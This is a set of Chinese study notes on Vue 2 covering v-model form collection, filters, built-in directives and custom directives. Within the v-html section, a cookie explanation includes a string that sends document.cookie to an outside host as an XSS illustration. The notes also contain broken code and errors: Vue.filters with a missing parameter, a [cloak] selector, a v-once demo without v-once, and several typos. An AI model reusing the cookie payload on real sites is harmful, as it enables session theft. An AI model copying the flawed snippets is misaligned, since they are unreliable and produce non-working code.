一、收集表单数据
(一)介绍
前面其实已经 学过了 v-model 双向绑定事件,能获取到表单中的内容到 vm 实例对象中
但是前面只是收集文本框,下面学习一下 各种类型表单数据收集 (单/多 选,下拉框)
(二)知识案例
下面的案例涵盖各种表单收集各种数据的情况
<body>
<div id="root">
<form @submit.prevent="demo">
账号:<input type="text" v-model.trim="userInfo.account"><br><br>
密码:<input type="password" v-model="userInfo.password"><br><br>
年龄:<input type="number" v-model.number="userInfo.age"><br><br>
性别:
男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
女<input type="radio" name="sex" v-model="userInfo.sex" value="female"><br><br>
爱好:
学习:<input type="checkbox" value="study" v-model="userInfo.hobby">
打游戏:<input type="checkbox" value="game" v-model="userInfo.hobby">
吃饭:<input type="checkbox" value="eat" v-model="userInfo.hobby">
<select v-model="userInfo.city">
<option value="">请选择地区</option>
<option value="beijing">北京</option>
<option value="shanghai">上海</option>
<option value="shenzhen">深圳</option>
<option value="wuhan">武汉</option>
</select>
<br><br>
其他信息:
<textarea v-model.lazy="userInfo.others"></textarea><br><br>
<input type="checkbox" v-model="userInfo.agree"><a href="http://baidu.com">《用户协议》</a>
<button>提交</button>
</form>
</div>
<script>
new Vue({
el: '#root',
data: {
userInfo: {
account: '',
password: '',
age: '',
sex: 'female',
hobby: [],
city: '',
others: '',
agree: ''
}
},
methods: {
demo() {
console.log(JSON.stringify(this.userInfo))
}
},
})
</script>
</body>
(三)具体语法
如果 v-model 收集的是 value 值,用户输入的就是 value 值
密码:<input type="password" v-model="userInfo.password"><br><br>
如果 v-model 收集的是单选框中的 value 值,而且还得给标签配置 value 值 ,因为单选框不能像文本框一样输入东西,就得自己配置 value 值
男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
女<input type="radio" name="sex" v-model="userInfo.sex" value="female"><br><br>
如果 v-model 收集的是多选框中的数据,如果没配置 input 的 value 属性,收集到的是 checked(布尔值 是否勾选),如果配置了 value 属性 并且 v-model 的初始值是数组,那么收集的值就是value 组成的数组
学习:<input type="checkbox" value="study" v-model="userInfo.hobby">
打游戏:<input type="checkbox" value="game" v-model="userInfo.hobby">
吃饭:<input type="checkbox" value="eat" v-model="userInfo.hobby">
v-model 的三个修饰符
lazy:失去焦点再收集数据,就是不想随时更新数据,等输入完毕再更新
<textarea v-model.lazy="userInfo.others"></textarea><br><br>
number:输入字符串自动转换成数字的形式 ,因为有的数据是数字不能是字符串
年龄:<input type="number" v-model.number="userInfo.age"><br><br>
trim:输入首尾空格过滤,会将文本框中输入的首尾的空格过滤掉不会存到数据中。
账号:<input type="text" v-model.trim="userInfo.account"><br><br>
存在 Vue 实例中的格式和命名:
data: {
userInfo: {
account: '',
password: '',
age: '',
sex: 'female',
hobby: [],
city: '',
others: '',
agree: ''
}
},
二、过滤器
对要显示的数据进行特定格式化后再显示,前面是原本的内容 | 后面是处理过程,过滤器没改变原本的数据,产生新的过滤后的数据
只能用在 v-ibnd 和 插值语法中 不能用在 v-model 中
一个案例:Data.now() 把时间戳 转化成格式化后的正常的时分秒
(一)计算属性实现
引入一个时间库在 bootcdn 网站中找到适合的时间库 daysjs.min.js
<script type="text/javascript" src="../js/dayjs.min.js"></script>
用计算属性实现 在 git 官网中查看该库的正确用法 ,如下,最后能格式化的显示时间
<body>
<div id="root">
<h2>显示格式化后的时间</h2>
<h3>现在是:{{fmtTime}}</h3>
</div>
<script>
new Vue({
el: '#root',
data: {
time:1621561377603
},
computed: {
fmtTime() {
return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
}
}
})
</script>
</body>
(二)methods 实现
和用计算属性类似,直接在方法中实现 一样的返回结果即可,也得引用第三方时间库
methods: {
getFmTime(){
return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
}
},
(三)过滤器 实现
1.局部过滤器
只能用在被写在的 vm 实例的作用范围内的局部过滤器
基本语法
过滤器是对原有数据进行过滤 加工,前面的那个 Time 是原本我们的时间戳,后面使用空格加上一个分隔符或符号 再后面是一个空格 加上一个回调函数 单独写在 filters 对象中
<h3>现在是:{{Time | timeFormater}}</h3>
这个函数有参数,就是原本的时间 Time 下面自然要将 Time 改成 value
filters: {
timeFormater(value) {
return dayjs(value).format('YYYY-MM-DD HH:mm:ss')
}
}
输出具体格式
如果想只输出年月日,不输出时分秒 就把年月日的模板写在 上面方法的括号里面,看着这个函数只有一个参数,其实有两个参数,一个是 value,另一个才是我们写的模板
<h3>现在是:{{Time | timeFormater('YYYY-MM-DD')}}</h3>
最后函数内部写法
filters: {
timeFormater(value, str = 'YYYY-MM-DD HH:mm:ss') {
return dayjs(value).format(str)
}
}
过滤器串联
过滤器可以串联,前后依次执行,先解析出时间 分出我们想要的部分
<h3>现在是:{{Time | timeFormater('YYYY-MM-DD') | mySlice}}</h3>
mySlice(value) {
return value.slice(0,4)
}
2.全局过滤器
所有 Vue 实例都能用的过滤器
Vue.filters('mySlice',function(){
return value.slice(0,4)
})
三、内置指令
前面内置指令已经学过了很多,回顾一下
(一)v-text
1.作用
向其所在的节点(标签)中插入文本
2.语法
v-text=‘属性名’
<div v-text="name">你好,</div>
3.特点
但是 v-text 会替换掉节点中的内容,‘你好,’ 就消失了,{{ }}不会替换,所以最好用插值语法,比较灵活
不支持结构的解析 如果在 name 里写一个标签 '<div></div>' ,会被默认为文本内容,不会解析标签显示出来
(二)v-html
cookie 工作原理
chrome 浏览器中 cookie 流程
浏览器登录 github 输入用户名 密码 提交向 github 发送请求登录 网站
网站检验 账号密码 如果正确 跳转到首页,返回 cookie 值 类似于 json 字符串,是对我们身份的标识
浏览器拿到 cookie 然后存到 浏览器的内存中 单独存放对 github 的 cookie 红色是GitHub 的 绿色是其他网站的
点击查看所有仓库,浏览器带着 github 给我的 cookie 给github 发送请求,github 查看 cookie 确认身份,然后就不需要再登录 才能访问我的仓库了,直接就跳转到我的仓库,然后又返回一个 仓库 的cookie,浏览器拿到 继续存下 在红色的地方(有的网站一上来就把所有 cookie 都给我们了,下面那个过程可能没有返回 cookie)
有了这些 cookie 可以实现 只要用户登录过就7天免登录 因为有 cookie
不能跨浏览器读取 cookie,在 chrome 登录淘宝第二天再进来 还是登录的状态,但是去火狐还是未登录状态,因为 cookie 存在 chrome 浏览器里
如果能拿到已登录者 的cookie 就能在任何浏览器中 将 cookie 注入,就能实现登录,身份信息很重要
str: '<a href=javascript:href="http://www.baidu.com?"+document.cookie></a>'
1.语法
v-html=‘属性名’
2.作用
向其所在的节点(标签)中插入内容 可解析标签
<body>
<div id="root">
<div v-html="name">你好,</div>
</div>
<script>
new Vue({
el: '#root',
data: {
name: '<h3>学校</h3>'
},
})
</script>
</body>
3.特点
v-html 可以识别 html 结构
4.严重注意
在网站动态渲染 任意的HTML 是很危险的,容易导致 XSS 攻击(冒充用户)
只能在可信的内容上使用 v-html 不要用在用户提交的内容上,比如评论区
(三)v-cloak
1.语法
v-cloak 后面没有值
设定一个样式,未加载完毕时 就隐藏内容,完毕时删除 cloak 属性 显示数据
2.作用
js 阻塞 html 代码是按顺序加载的我们在引入外部的 js 时如果速度很慢,比如 5s 后服务器才返回结果,那么 html 就会阻塞在 外部 js 加载那里,
我们可以把 外部 js 引入放在头标签里,先等待加载完毕再显示,
但是如果我们 把 js 放在 body 下面 就会先显示 未解析的模板 {{name}} 等 5s 后才会显示数据 一个人
我们不想让用户看到这个未解析的模板 我们可以用到 v-cloak 和 css 结合就能实现,一旦 Vue 介入解析模板 v-block 就会自动删除
<style>
[cloak]{
display: none;
}
</style>
<div>
<h2 v-cloak>{{name}}</h2>
</div>
(四)v-once
1.语法
v-once 直接写标签里 后面没有值
别和事件修饰符弄混了
2.作用
动态渲染就是不是写死的数据
被页面初次动态渲染后就被默认为静态内容了,就是 n 初始值为 1 设置一个按钮让 n++ 如果给标签中加入一个 v-once 指令 里面的{{n}} 在首次渲染 n=1 后就不会再变了 点击按钮也不会加一
数据改变不会引起 v-once 所在结构更新
<body>
<div id="root">
<h2>初始化的n值:{{n}}</h2>
<h2>{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
<script>
new Vue({
el: '#root',
data: {
n:1
},
})
</script>
</body>
(五)v-pre
1.语法
v-pre 直接写标签里 后面没有值
2.作用
跳过所在节点的百衲衣过程
可以利用它跳过没有使用指令语法插值语法的节点,会加快编译
<h2 v-pre>我就是一段文字</h2>
四、自定义指令
(一)介绍
Vue 的操作指令就是操作原生 dom 的过程进行一次封装
就比如 v-show 就是操作 dom 中的 display 属性来控制 元素显示的
我们就能自己写操作 dom 的逻辑来设置自己的指令
(二)基本语法
得使用一个全新的配置对象 directives 就是指令的意思
<script>
new Vue({
el: '#root',
data: {
n:1
},
directives:{
}
})
</script>
(二)函数式
1.语法
写成函数的形式 有两个参数
第一个 element 是真实的 dom 元素
第二个 binding 是绑定对象 里面的属性 value 就是 v-big 等号后面绑定的数据 n
directives: {
big(element, binding) {
element.innerText = binding.value * 10
}
}
指令和元素成功绑定时会调用 就是最开始的时候
指令所在的模板被重新解析时也会被调用,不是后面的 n 变了就调用 其它元素变了也调用 只要重新解析模板就调用
(三)对象式
1.语法
写成对象后 里面有固定的方法,不能改变名称 有固定的用处
directives: {
fbind:{
}
}
bind(){} 当指令和元素成功绑定时 调用
inserted(){} 指令所在元素被插入页面时 调用
update()} 指令所在模板被重新解析时 被调用
2.作用
先指令和元素绑定,然后再元素插入页面
得写成对象式才行,因为函数式有时无法完成某些操作 比如无法打开页面时先获取焦点,因为指令先和元素绑定,但是页面中还没出现 input 标签,所以不会获取焦点
fbind: {
bind(element, binding) {
element.value = binding.value
},
inserted(element, binding) {
element.focus()
},
update(element, binding) {
element.value = binding.value
}
}